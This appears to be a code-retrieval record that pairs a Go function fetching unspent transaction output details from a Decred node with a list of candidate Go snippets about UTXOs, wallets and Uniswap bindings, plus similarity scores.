c.ExtLock.RUnlock()\n\tif _, ok := c.Extensions[\"RANDR\"]; !ok {\n\t\tpanic(\"Cannot issue request 'GetOutputInfo' using the uninitialized extension 'RANDR'. randr.Init(connObj) must be called first.\")\n\t}\n\tcookie := c.NewCookie(false, true)\n\tc.NewRequest(getOutputInfoRequest(c, Output, ConfigTimestamp), cookie)\n\treturn GetOutputInfoCookie{cookie}\n}", "func (s GetTransactionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (pgb *ChainDB) AddressSpentUnspent(address string) (int64, int64, int64, int64, error) {\n\tctx, cancel := context.WithTimeout(pgb.ctx, pgb.queryTimeout)\n\tdefer cancel()\n\tns, nu, as, au, err := RetrieveAddressSpentUnspent(ctx, pgb.db, address)\n\treturn ns, nu, as, au, pgb.replaceCancelError(err)\n}", "func (tangle *Tangle) TransactionOutput(outputID transaction.OutputID) *CachedOutput {\n\treturn &CachedOutput{CachedObject: tangle.outputStorage.Load(outputID.Bytes())}\n}", "func decodeSpentTxOut(serialized []byte, stxo *txo.SpentTxOut) (int, error) {\n\t// Ensure there are bytes to decode.\n\tif len(serialized) == 0 {\n\t\treturn 0, common.DeserializeError(\"no serialized bytes\")\n\t}\n\n\t// Deserialize the header code.\n\tcode, offset := deserializeVLQ(serialized)\n\tif offset >= len(serialized) {\n\t\treturn offset, common.DeserializeError(\"unexpected end of data after \" +\n\t\t\t\"header code\")\n\t}\n\n\t// Decode the header code.\n\t//\n\t// Bit 0 indicates containing transaction is a coinbase.\n\t// Bits 1-x encode height of containing transaction.\n\tstxo.IsCoinBase = code&0x01 != 0\n\tstxo.Height = int32(code >> 1)\n\n\t// Decode the compressed txout.\n\tamount, pkScript, assetNo, bytesRead, err := decodeCompressedTxOut(\n\t\tserialized[offset:])\n\toffset += bytesRead\n\tif err != nil {\n\t\treturn offset, common.DeserializeError(fmt.Sprintf(\"unable to decode \"+\n\t\t\t\"txout: %v\", err))\n\t}\n\tstxo.Amount = int64(amount)\n\tstxo.PkScript = pkScript\n\tstxo.Asset = assetNo\n\treturn offset, nil\n}", "func (btc *ExchangeWallet) spendableUTXOs(confs uint32) ([]*compositeUTXO, map[string]*compositeUTXO, uint64, error) {\n\tunspents, err := btc.wallet.ListUnspent()\n\tif err != nil {\n\t\treturn nil, nil, 0, err\n\t}\n\tsort.Slice(unspents, func(i, j int) bool { return unspents[i].Amount < unspents[j].Amount })\n\tvar sum uint64\n\tutxos := make([]*compositeUTXO, 0, len(unspents))\n\tutxoMap := make(map[string]*compositeUTXO, len(unspents))\n\tfor _, txout := range unspents {\n\t\tif txout.Confirmations >= confs && txout.Safe {\n\t\t\tnfo, err := dexbtc.InputInfo(txout.ScriptPubKey, txout.RedeemScript, btc.chainParams)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, 0, fmt.Errorf(\"error reading asset info: %v\", err)\n\t\t\t}\n\t\t\ttxHash, err := chainhash.NewHashFromStr(txout.TxID)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, 0, fmt.Errorf(\"error decoding txid in ListUnspentResult: %v\", err)\n\t\t\t}\n\t\t\tutxo := &compositeUTXO{\n\t\t\t\ttxHash: txHash,\n\t\t\t\tvout: txout.Vout,\n\t\t\t\taddress: txout.Address,\n\t\t\t\tredeemScript: txout.RedeemScript,\n\t\t\t\tamount: toSatoshi(txout.Amount),\n\t\t\t\tinput: nfo,\n\t\t\t}\n\t\t\tutxos = append(utxos, utxo)\n\t\t\tutxoMap[outpointID(txout.TxID, txout.Vout)] = utxo\n\t\t\tsum += toSatoshi(txout.Amount)\n\t\t}\n\t}\n\treturn utxos, utxoMap, sum, nil\n}", "func serializeUtxoEntry(entry *txo.UtxoEntry) ([]byte, error) {\n\t// Spent outputs have no serialization.\n\tif entry.IsSpent() {\n\t\treturn nil, nil\n\t}\n\n\t// Encode the header code.\n\theaderCode, err := utxoEntryHeaderCode(entry)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Calculate the size needed to serialize the entry.\n\tsize := serializeSizeVLQ(headerCode) +\n\t\tcompressedTxOutSize(uint64(entry.Amount()), entry.PkScript(), entry.Asset())\n\n\t// Serialize the header code followed by the compressed unspent\n\t// transaction output.\n\tserialized := make([]byte, size)\n\toffset := putVLQ(serialized, headerCode)\n\toffset += putCompressedTxOut(serialized[offset:], uint64(entry.Amount()),\n\t\tentry.PkScript(), entry.Asset())\n\n\treturn serialized, nil\n}", "func (addressManager *AddressManager) UnspentAddresses() (addresses []address.Address) {\n\taddresses = make([]address.Address, 0)\n\tfor i := addressManager.firstUnspentAddressIndex; i <= addressManager.lastAddressIndex; i++ {\n\t\tif !addressManager.IsAddressSpent(i) {\n\t\t\taddresses = append(addresses, addressManager.Address(i))\n\t\t}\n\t}\n\n\treturn\n}", "func (a *Transactions) UnconfirmedInfo(ctx context.Context, id crypto.Digest) (proto.Transaction, *Response, error) {\n\turl, err := joinUrl(a.options.BaseUrl, fmt.Sprintf(\"/transactions/unconfirmed/info/%s\", id.String()))\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treq, err := http.NewRequest(\"GET\", url.String(), nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tbuf := new(bytes.Buffer)\n\tbuf.WriteRune('[')\n\tresponse, err := doHttp(ctx, a.options, req, buf)\n\tif err != nil {\n\t\treturn nil, response, err\n\t}\n\tbuf.WriteRune(']')\n\tout := TransactionsField{}\n\terr = json.Unmarshal(buf.Bytes(), &out)\n\tif err != nil {\n\t\treturn nil, response, &ParseError{Err: err}\n\t}\n\n\tif len(out) == 0 {\n\t\treturn nil, response, errors.New(\"invalid transaction\")\n\t}\n\n\treturn out[0], response, nil\n}", "func (u utxo) convert() *bitcoin.UnspentTransactionOutput {\n\ttransactionHash, err := bitcoin.NewHashFromString(\n\t\tu.Outpoint.TransactionHash,\n\t\tbitcoin.ReversedByteOrder,\n\t)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn &bitcoin.UnspentTransactionOutput{\n\t\tOutpoint: &bitcoin.TransactionOutpoint{\n\t\t\tTransactionHash: transactionHash,\n\t\t\tOutputIndex: u.Outpoint.OutputIndex,\n\t\t},\n\t\tValue: u.Value,\n\t}\n}", "func (ct *ConsensusTester) SiacoinOutputTransaction() (txn types.Transaction) {\n\tsci, value := ct.FindSpendableSiacoinInput()\n\ttxn = ct.AddSiacoinInputToTransaction(types.Transaction{}, sci)\n\ttxn.SiacoinOutputs = append(txn.SiacoinOutputs, types.SiacoinOutput{\n\t\tValue: value,\n\t\tUnlockHash: ct.UnlockHash,\n\t})\n\treturn\n}", "func (api *API) consensusGetUnspentBlockstakeOutputHandler(w http.ResponseWriter, req *http.Request, ps httprouter.Params) {\n\tvar (\n\t\toutputID types.BlockStakeOutputID\n\t\tid = ps.ByName(\"id\")\n\t)\n\n\tif len(id) != len(outputID)*2 {\n\t\tWriteError(w, Error{errInvalidIDLength.Error()}, http.StatusBadRequest)\n\t\treturn\n\t}\n\n\terr := outputID.LoadString(id)\n\tif err != nil {\n\t\tWriteError(w, Error{err.Error()}, http.StatusBadRequest)\n\t\treturn\n\t}\n\n\toutput, err := api.cs.GetBlockStakeOutput(outputID)\n\tif err != nil {\n\t\tWriteError(w, Error{err.Error()}, http.StatusNoContent)\n\t\treturn\n\t}\n\tWriteJSON(w, ConsensusGetUnspentBlockstakeOutput{Output: output})\n}", "func (s *Server) txGetOutput(symbol string, txId string, height int64) *blocc.TxOut {\n\ttx, err := s.blockChainStore.GetTxByTxId(symbol, txId, blocc.TxIncludeOut)\n\tif err != nil {\n\t\treturn nil\n\t}\n\tif int64(len(tx.Out)) > height {\n\t\treturn tx.Out[height]\n\t}\n\treturn nil\n}", "func (w *Wallet) GetUTXO(s *aklib.DBConfig, pwd []byte, isPublic bool) ([]*tx.UTXO, uint64, error) {\n\tvar bal uint64\n\tvar utxos []*tx.UTXO\n\tadrmap := w.AddressChange\n\tif isPublic {\n\t\tadrmap = w.AddressPublic\n\t}\n\tfor adrname := range adrmap {\n\t\tlog.Println(adrname)\n\t\tadr := &Address{\n\t\t\tAdrstr: adrname,\n\t\t}\n\t\tif pwd != nil {\n\t\t\tvar err error\n\t\t\tadr, err = w.GetAddress(s, adrname, pwd)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, 0, err\n\t\t\t}\n\t\t}\n\t\ths, err := imesh.GetHisoty2(s, adrname, true)\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\t\tfor _, h := range hs {\n\t\t\tswitch h.Type {\n\t\t\tcase tx.TypeOut:\n\t\t\t\ttr, err := imesh.GetTxInfo(s.DB, h.Hash)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, 0, err\n\t\t\t\t}\n\t\t\t\toutstat := tr.OutputStatus[0][h.Index]\n\t\t\t\tif !tr.IsAccepted() ||\n\t\t\t\t\t(outstat.IsReferred || outstat.IsSpent || outstat.UsedByMinable != nil) {\n\t\t\t\t\tlog.Println(h.Hash, outstat.IsReferred, outstat.IsSpent, outstat.UsedByMinable)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tu := &tx.UTXO{\n\t\t\t\t\tAddress: adr,\n\t\t\t\t\tValue: tr.Body.Outputs[h.Index].Value,\n\t\t\t\t\tInoutHash: h,\n\t\t\t\t}\n\t\t\t\tutxos = append(utxos, u)\n\t\t\t\tbal += u.Value\n\t\t\t}\n\t\t}\n\t}\n\treturn utxos, bal, nil\n}", "func (rt *RecvTxOut) TxInfo(account string, chainHeight int32, net btcwire.BitcoinNet) []map[string]interface{} {\n\ttx := rt.tx.MsgTx()\n\toutidx := rt.outpoint.Index\n\ttxout := tx.TxOut[outidx]\n\n\taddress := \"Unknown\"\n\t_, addrs, _, _ := btcscript.ExtractPkScriptAddrs(txout.PkScript, net)\n\tif len(addrs) == 1 {\n\t\taddress = addrs[0].EncodeAddress()\n\t}\n\n\ttxInfo := map[string]interface{}{\n\t\t\"account\": account,\n\t\t\"category\": \"receive\",\n\t\t\"address\": address,\n\t\t\"amount\": float64(txout.Value) / float64(btcutil.SatoshiPerBitcoin),\n\t\t\"txid\": rt.outpoint.Hash.String(),\n\t\t\"timereceived\": float64(rt.received.Unix()),\n\t}\n\n\tif rt.block != nil {\n\t\ttxInfo[\"blockhash\"] = rt.block.Hash.String()\n\t\ttxInfo[\"blockindex\"] = float64(rt.block.Index)\n\t\ttxInfo[\"blocktime\"] = float64(rt.block.Time.Unix())\n\t\ttxInfo[\"confirmations\"] = float64(chainHeight - rt.block.Height + 1)\n\t} else {\n\t\ttxInfo[\"confirmations\"] = float64(0)\n\t}\n\n\treturn []map[string]interface{}{txInfo}\n}", "func (t *testNode) GetTxOut(txHash *chainhash.Hash, index uint32, _ bool) (*btcjson.GetTxOutResult, error) {\n\ttestChainMtx.RLock()\n\tdefer testChainMtx.RUnlock()\n\toutID := txOutID(txHash, index)\n\tout := testChain.txOuts[outID]\n\t// Unfound is not an error for GetTxOut.\n\treturn out, nil\n}", "func (_IUniswapV2Router01 *IUniswapV2Router01Session) GetAmountOut(amountIn *big.Int, reserveIn *big.Int, reserveOut *big.Int) (*big.Int, error) {\r\n\treturn _IUniswapV2Router01.Contract.GetAmountOut(&_IUniswapV2Router01.CallOpts, amountIn, reserveIn, reserveOut)\r\n}", "func (_UniswapV2Router02 *UniswapV2Router02Session) GetAmountOut(amountIn *big.Int, reserveIn *big.Int, reserveOut *big.Int) (*big.Int, error) {\r\n\treturn _UniswapV2Router02.Contract.GetAmountOut(&_UniswapV2Router02.CallOpts, amountIn, reserveIn, reserveOut)\r\n}", "func valueUnspentCredit(cred *credit) ([]byte, error) {\n\tif len(cred.scriptHash) != 32 {\n\t\treturn nil, fmt.Errorf(\"short script hash (expect 32 bytes)\")\n\t}\n\tv := make([]byte, 45)\n\tbinary.BigEndian.PutUint64(v, cred.amount.UintValue())\n\tif cred.flags.Change {\n\t\tv[8] |= 1 << 1\n\t}\n\tif cred.flags.Class == ClassStakingUtxo {\n\t\tv[8] |= 1 << 2\n\t}\n\tif cred.flags.Class == ClassBindingUtxo {\n\t\tv[8] |= 1 << 3\n\t}\n\tbinary.BigEndian.PutUint32(v[9:13], cred.maturity)\n\tcopy(v[13:45], cred.scriptHash)\n\treturn v, nil\n}", "func (_UniswapV2Router02 *UniswapV2Router02CallerSession) GetAmountOut(amountIn *big.Int, reserveIn *big.Int, reserveOut *big.Int) (*big.Int, error) {\r\n\treturn _UniswapV2Router02.Contract.GetAmountOut(&_UniswapV2Router02.CallOpts, amountIn, reserveIn, reserveOut)\r\n}", "func (_IUniswapV2Router01 *IUniswapV2Router01CallerSession) GetAmountOut(amountIn *big.Int, reserveIn *big.Int, reserveOut *big.Int) (*big.Int, error) {\r\n\treturn _IUniswapV2Router01.Contract.GetAmountOut(&_IUniswapV2Router01.CallOpts, amountIn, reserveIn, reserveOut)\r\n}", "func (a API) GetTxOutGetRes() (out *string, e error) {\n\tout, _ = a.Result.(*string)\n\te, _ = a.Result.(error)\n\treturn \n}", "func (op *output) String() string {\n\treturn fmt.Sprintf(\"%s:%v\", op.txHash, op.vout)\n}", "func (s *Store) unminedTxDetails(ns walletdb.ReadBucket, txHash *chainhash.Hash, v []byte) (*TxDetails, error) {\n\tdetails := TxDetails{\n\t\tBlock: BlockMeta{Block: Block{Height: -1}},\n\t}\n\terr := readRawTxRecord(txHash, v, &details.TxRecord)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tit := makeReadUnminedCreditIterator(ns, txHash)\n\tfor it.next() {\n\t\tif int(it.elem.Index) >= len(details.MsgTx.TxOut) {\n\t\t\tstr := \"saved credit index exceeds number of outputs\"\n\t\t\treturn nil, storeError(ErrData, str, nil)\n\t\t}\n\n\t\t// Set the Spent field since this is not done by the iterator.\n\t\tit.elem.Spent = existsRawUnminedInput(ns, it.ck) != nil\n\t\tdetails.Credits = append(details.Credits, it.elem)\n\t}\n\tif it.err != nil {\n\t\treturn nil, it.err\n\t}\n\n\t// Debit records are not saved for unmined transactions. Instead, they\n\t// must be looked up for each transaction input manually. There are two\n\t// kinds of previous credits that may be debited by an unmined\n\t// transaction: mined unspent outputs (which remain marked unspent even\n\t// when spent by an unmined transaction), and credits from other unmined\n\t// transactions. Both situations must be considered.\n\tfor i, output := range details.MsgTx.TxIn {\n\t\topKey := canonicalOutPoint(&output.PreviousOutPoint.Hash,\n\t\t\toutput.PreviousOutPoint.Index)\n\t\tcredKey := existsRawUnspent(ns, opKey)\n\t\tif credKey != nil {\n\t\t\tv := existsRawCredit(ns, credKey)\n\t\t\tamount, err := fetchRawCreditAmount(v)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tdetails.Debits = append(details.Debits, DebitRecord{\n\t\t\t\tAmount: amount,\n\t\t\t\tIndex: uint32(i),\n\t\t\t})\n\t\t\tcontinue\n\t\t}\n\n\t\tv := existsRawUnminedCredit(ns, opKey)\n\t\tif v == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tamount, err := fetchRawCreditAmount(v)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdetails.Debits = append(details.Debits, DebitRecord{\n\t\t\tAmount: amount,\n\t\t\tIndex: uint32(i),\n\t\t})\n\t}\n\n\t// Finally, we add the transaction label to details.\n\tdetails.Label, err = s.TxLabel(ns, *txHash)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &details, nil\n}", "func (r *rescanKeys) unspentSlice() []*wire.OutPoint {\n\tops := make([]*wire.OutPoint, 0, len(r.unspent))\n\tfor op := range r.unspent {\n\t\topCopy := op\n\t\tops = append(ops, &opCopy)\n\t}\n\treturn ops\n}", "func (f *wsClientFilter) addUnspentOutPoint(op *wire.OutPoint) {\n\tf.unspent[*op] = struct{}{}\n}", "func (o LookupWorkstationResultOutput) Uid() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupWorkstationResult) string { return v.Uid }).(pulumi.StringOutput)\n}", "func (o ServiceResponseOutput) Uid() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ServiceResponse) string { return v.Uid }).(pulumi.StringOutput)\n}", "func (dcr *ExchangeWallet) spendableUTXOs() ([]*compositeUTXO, error) {\n\tunspents, err := dcr.wallet.Unspents(dcr.ctx, dcr.primaryAcct)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif dcr.tradingAccount != \"\" {\n\t\t// Trading account may contain spendable utxos such as unspent split tx\n\t\t// outputs that are unlocked/returned. TODO: Care should probably be\n\t\t// taken to ensure only unspent split tx outputs are selected and other\n\t\t// unmixed outputs in the trading account are ignored.\n\t\ttradingAcctSpendables, err := dcr.wallet.Unspents(dcr.ctx, dcr.tradingAccount)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tunspents = append(unspents, tradingAcctSpendables...)\n\t}\n\tif len(unspents) == 0 {\n\t\treturn nil, fmt.Errorf(\"insufficient funds. 0 DCR available to spend in account %q\", dcr.primaryAcct)\n\t}\n\n\t// Parse utxos to include script size for spending input. Returned utxos\n\t// will be sorted in ascending order by amount (smallest first).\n\tutxos, err := dcr.parseUTXOs(unspents)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing unspent outputs: %w\", err)\n\t}\n\tif len(utxos) == 0 {\n\t\treturn nil, fmt.Errorf(\"no funds available\")\n\t}\n\treturn utxos, nil\n}", "func readTxOut(r io.Reader, pver uint32, to *TxOut) error {\n\terr := serialization.ReadUint64(r, (*uint64)(unsafe.Pointer(&to.Value)))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tto.PkScript, err = readScript(r, pver, MaxMessagePayload,\n\t\t\"transaction output public key script\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = serialization.ReadVarInt(r, 0)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = serialization.ReadUint32B(r, (*uint32)(unsafe.Pointer(&to.Asset.Property)))\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = serialization.ReadUint64B(r, &to.Asset.Id)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tto.Data, err = serialization.ReadVarBytes(r, pver, MaxMessagePayload, \"transaction output data\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (ac *AddressCache) UtxoStats() (hits, misses int) {\n\treturn ac.cacheMetrics.utxoStats()\n}", "func Test_UpdateUnspentTransactionOutputs_NewTransactionOutputs(t *testing.T) {\n\tvar unspentTransactionManager = &UnspentTransactionManager{}\n\t// create inputs\n\tvar newTransactions = []*Transaction{\n\t\t{\n\t\t\tID: \"transaction_ID-1\",\n\t\t\tOutputs: []*TransactionOutput{\n\t\t\t\t{\n\t\t\t\t\tAddress: \"address-1\",\n\t\t\t\t\tAmount: 1,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tAddress: \"address-2\",\n\t\t\t\t\tAmount: 2,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tID: \"transaction_ID-2\",\n\t\t\tOutputs: []*TransactionOutput{\n\t\t\t\t{\n\t\t\t\t\tAddress: \"address-3\",\n\t\t\t\t\tAmount: 3,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tvar unspentTransactionOutputs []*UnspentTransactionOutput\n\n\t// expected result\n\texpectedResult := []*UnspentTransactionOutput{\n\t\t{\n\t\t\tOutputID: \"transaction_ID-1\",\n\t\t\tOutputIndex: 0,\n\t\t\tAddress: \"address-1\",\n\t\t\tAmount: 1,\n\t\t},\n\t\t{\n\t\t\tOutputID: \"transaction_ID-1\",\n\t\t\tOutputIndex: 1,\n\t\t\tAddress: \"address-2\",\n\t\t\tAmount: 2,\n\t\t},\n\t\t{\n\t\t\tOutputID: \"transaction_ID-2\",\n\t\t\tOutputIndex: 0,\n\t\t\tAddress: \"address-3\",\n\t\t\tAmount: 3,\n\t\t},\n\t}\n\n\t// update unspent transactions\n\tresult := unspentTransactionManager.UpdateUnspentTransactionOutputs(newTransactions, unspentTransactionOutputs)\n\n\t// validate\n\tif len(result) != len(expectedResult) {\n\t\tt.Errorf(\"new unspent transactions should be %d not %d\", len(expectedResult), len(result))\n\t\treturn\n\t}\n\t// validate each\n\tfor index, resultUnspent := range result {\n\t\t// find expected\n\t\texpectedResultUnspent := expectedResult[index]\n\t\t// validate expected\n\t\tif !cmp.Equal(resultUnspent, expectedResultUnspent) {\n\t\t\tt.Errorf(\"unspent transaction output does not match\")\n\t\t}\n\t}\n}", "func (_IUniswapV2Router02 *IUniswapV2Router02Session) GetAmountOut(amountIn *big.Int, reserveIn *big.Int, reserveOut *big.Int) (*big.Int, error) {\r\n\treturn _IUniswapV2Router02.Contract.GetAmountOut(&_IUniswapV2Router02.CallOpts, amountIn, reserveIn, reserveOut)\r\n}", "func isUnspendable(o *wire.TxOut) bool {\n\tswitch {\n\tcase len(o.PkScript) > 10000: //len 0 is OK, spendable\n\t\treturn true\n\tcase len(o.PkScript) > 0 && o.PkScript[0] == 0x6a: // OP_RETURN is 0x6a\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}", "func (_IUniswapV2Router02 *IUniswapV2Router02CallerSession) GetAmountOut(amountIn *big.Int, reserveIn *big.Int, reserveOut *big.Int) (*big.Int, error) {\r\n\treturn _IUniswapV2Router02.Contract.GetAmountOut(&_IUniswapV2Router02.CallOpts, amountIn, reserveIn, reserveOut)\r\n}", "func (rpc BitcoinRPC) GetRawTransaction(h string) ([]byte, error) {\n\tvar (\n\t\ttx []byte\n\t\terr error\n\t)\n\n\terr = rpc.client.Call(\"getrawtransaction\", []interface{}{h, 1}, &tx)\n\treturn tx, err\n}", "func (o *InStateOutput) GetOutput() Output {\n\tif o == nil {\n\t\tvar ret Output\n\t\treturn ret\n\t}\n\n\treturn o.Output\n}", "func (c *client) getUtxos(ctx context.Context, address string, confirmations int64) (map[string]it.AddressTxnOutput, error) {\n\tvar utxos []it.AddressTxnOutput\n\turl := c.cfg.insight + \"/addr/\" + address + \"/utxo\"\n\n\tresp, err := c.httpRequest(ctx, url, 5*time.Second)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = json.Unmarshal(resp, &utxos)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlog.Tracef(\"%v\", spew.Sdump(utxos))\n\n\tu := make(map[string]it.AddressTxnOutput, len(utxos))\n\tfor k := range utxos {\n\t\tif utxos[k].Confirmations < confirmations {\n\t\t\tcontinue\n\t\t}\n\t\ttxID := utxos[k].TxnID\n\t\tif _, ok := u[txID]; ok {\n\t\t\treturn nil, fmt.Errorf(\"duplicate tx ud: %v\", txID)\n\t\t}\n\t\tu[txID] = utxos[k]\n\n\t}\n\n\treturn u, nil\n}", "func Test_UpdateUnspentTransactionOutputs_FilteredAllTransactionOutputs(t *testing.T) {\n\tvar unspentTransactionManager = &UnspentTransactionManager{}\n\t// create inputs\n\tvar newTransactions = []*Transaction{\n\t\t{\n\t\t\tInputs: []*TransactionInput{\n\t\t\t\t{\n\t\t\t\t\tOutputID: \"transaction-out-id-1\",\n\t\t\t\t\tOutputIndex: 0,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tvar unspentTransactionOutputs = []*UnspentTransactionOutput{\n\t\t{\n\t\t\tOutputID: \"transaction-out-id-1\",\n\t\t\tOutputIndex: 0,\n\t\t\tAddress: \"address-1\",\n\t\t\tAmount: 1,\n\t\t},\n\t\t{\n\t\t\tOutputID: \"transaction-out-id-1\",\n\t\t\tOutputIndex: 0,\n\t\t\tAddress: \"address-1\",\n\t\t\tAmount: 1,\n\t\t},\n\t}\n\n\t// expected result\n\texpectedResult := []*UnspentTransactionOutput{}\n\n\t// update unspent transactions\n\tresult := unspentTransactionManager.UpdateUnspentTransactionOutputs(newTransactions, unspentTransactionOutputs)\n\n\t// validate\n\tif len(result) != len(expectedResult) {\n\t\tt.Errorf(\"new unspent transactions should be %d not %d\", len(expectedResult), len(result))\n\t\treturn\n\t}\n\t// validate each\n\tfor index, resultUnspent := range result {\n\t\t// find expected\n\t\texpectedResultUnspent := expectedResult[index]\n\t\t// validate expected\n\t\tif !cmp.Equal(resultUnspent, expectedResultUnspent) {\n\t\t\tt.Errorf(\"unspent transaction output does not match\")\n\t\t}\n\t}\n}", "func (dcr *ExchangeWallet) spendableUTXOs() ([]*compositeUTXO, error) {\n\tunspents, err := dcr.unspents()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(unspents) == 0 {\n\t\treturn nil, fmt.Errorf(\"insufficient funds. 0 DCR available to spend in %q account\", dcr.acct)\n\t}\n\n\t// Parse utxos to include script size for spending input.\n\t// Returned utxos will be sorted in ascending order by amount (smallest first).\n\tutxos, err := dcr.parseUTXOs(unspents)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing unspent outputs: %w\", err)\n\t}\n\tif len(utxos) == 0 {\n\t\treturn nil, fmt.Errorf(\"no funds available\")\n\t}\n\treturn utxos, nil\n}", "func (_UniswapV2Router02 *UniswapV2Router02Caller) GetAmountOut(opts *bind.CallOpts, amountIn *big.Int, reserveIn *big.Int, reserveOut *big.Int) (*big.Int, error) {\r\n\tvar out []interface{}\r\n\terr := _UniswapV2Router02.contract.Call(opts, &out, \"getAmountOut\", amountIn, reserveIn, reserveOut)\r\n\r\n\tif err != nil {\r\n\t\treturn *new(*big.Int), err\r\n\t}\r\n\r\n\tout0 := *abi.ConvertType(out[0], new(*big.Int)).(**big.Int)\r\n\r\n\treturn out0, err\r\n\r\n}", "func (ci *auditInfo) Coin() asset.Coin {\n\treturn ci.output\n}", "func (ci *auditInfo) Coin() asset.Coin {\n\treturn ci.output\n}", "func (ci *auditInfo) Coin() asset.Coin {\n\treturn ci.output\n}", "func (rpc BitcoinRPC) OmniGetTransaction(h string) ([]byte, error) {\n\tvar (\n\t\tomniTx []byte\n\t\terr error\n\t)\n\terr = rpc.client.Call(\"omni_gettransaction\", h, &omniTx)\n\treturn omniTx, err\n}", "func (client *Client) UTXO(address string) ([]btc.UTXO, error) {\n\tvar response []btc.UTXO\n\terrorResp := &errorResponse{}\n\n\tresp, err := client.client.Post(\"/btc/getUtxo\").BodyJSON(&nonceRequest{\n\t\tAddress: address,\n\t}).Receive(&response, errorResp)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif code := resp.StatusCode; 200 < code || code > 299 {\n\t\treturn nil, fmt.Errorf(\"(%s) %s\", resp.Status, errorResp.Message)\n\t}\n\n\tjsontext, _ := json.Marshal(response)\n\n\tclient.DebugF(\"response(%d) :%s\", resp.StatusCode, string(jsontext))\n\n\treturn response, nil\n}", "func (a API) GetTxOutChk() (isNew bool) {\n\tselect {\n\tcase o := <-a.Ch.(chan GetTxOutRes):\n\t\tif o.Err != nil {\n\t\t\ta.Result = o.Err\n\t\t} else {\n\t\t\ta.Result = o.Res\n\t\t}\n\t\tisNew = true\n\tdefault:\n\t}\n\treturn\n}", "func (entry *UtxoEntry) SpendOutput() {\n\tentry.Spent = true\n}", "func (o *TransactionResult) GetOutput() []Relation {\n\tif o == nil {\n\t\tvar ret []Relation\n\t\treturn ret\n\t}\n\treturn o.Output\n}", "func (_IUniswapV2Router01 *IUniswapV2Router01Caller) GetAmountOut(opts *bind.CallOpts, amountIn *big.Int, reserveIn *big.Int, reserveOut *big.Int) (*big.Int, error) {\r\n\tvar out []interface{}\r\n\terr := _IUniswapV2Router01.contract.Call(opts, &out, \"getAmountOut\", amountIn, reserveIn, reserveOut)\r\n\r\n\tif err != nil {\r\n\t\treturn *new(*big.Int), err\r\n\t}\r\n\r\n\tout0 := *abi.ConvertType(out[0], new(*big.Int)).(**big.Int)\r\n\r\n\treturn out0, err\r\n\r\n}" ]
[ "0.6752377", "0.6605516", "0.6585877", "0.64894044", "0.6480415", "0.64345783", "0.640135", "0.62939304", "0.6265471", "0.62504184", "0.6115074", "0.6064", "0.6021693", "0.60137016", "0.59046924", "0.5858868", "0.5823582", "0.5808432", "0.5782322", "0.5768871", "0.57429415", "0.5722737", "0.5709148", "0.5707446", "0.5698685", "0.56710047", "0.5652032", "0.5638929", "0.5622917", "0.56180805", "0.5600529", "0.5564183", "0.55441666", "0.5521178", "0.54701483", "0.54679245", "0.5466288", "0.54643166", "0.54520696", "0.54351336", "0.5416992", "0.5416933", "0.54125017", "0.53765136", "0.5370339", "0.53546417", "0.53456086", "0.5320506", "0.52963984", "0.529337", "0.5268063", "0.52571595", "0.52492297", "0.52356887", "0.52219754", "0.5206668", "0.51976144", "0.5181418", "0.5127526", "0.5109087", "0.51024956", "0.5077697", "0.5061437", "0.50569946", "0.50492716", "0.503845", "0.50378716", "0.50079185", "0.5007249", "0.5006958", "0.49983263", "0.49977714", "0.49966237", "0.497216", "0.49415368", "0.49340785", "0.4931504", "0.49256173", "0.4916885", "0.49146172", "0.48976448", "0.4893014", "0.48820925", "0.48814583", "0.48749503", "0.48694316", "0.48667482", "0.48661396", "0.4859624", "0.48275167", "0.48150247", "0.48115888", "0.48115888", "0.48115888", "0.48087323", "0.48083204", "0.48023713", "0.47868115", "0.47845235", "0.47837707" ]
0.6798082
0
Get information for an unspent transaction output, plus the verbose transaction.
func (dcr *DCRBackend) getTxOutInfo(txHash *chainhash.Hash, vout uint32) (*chainjson.GetTxOutResult, *chainjson.TxRawResult, []byte, error) { txOut, pkScript, err := dcr.getUnspentTxOut(txHash, vout) if err != nil { return nil, nil, nil, err } verboseTx, err := dcr.node.GetRawTransactionVerbose(txHash) if err != nil { return nil, nil, nil, fmt.Errorf("GetRawTransactionVerbose for txid %s: %v", txHash, err) } return txOut, verboseTx, pkScript, nil }
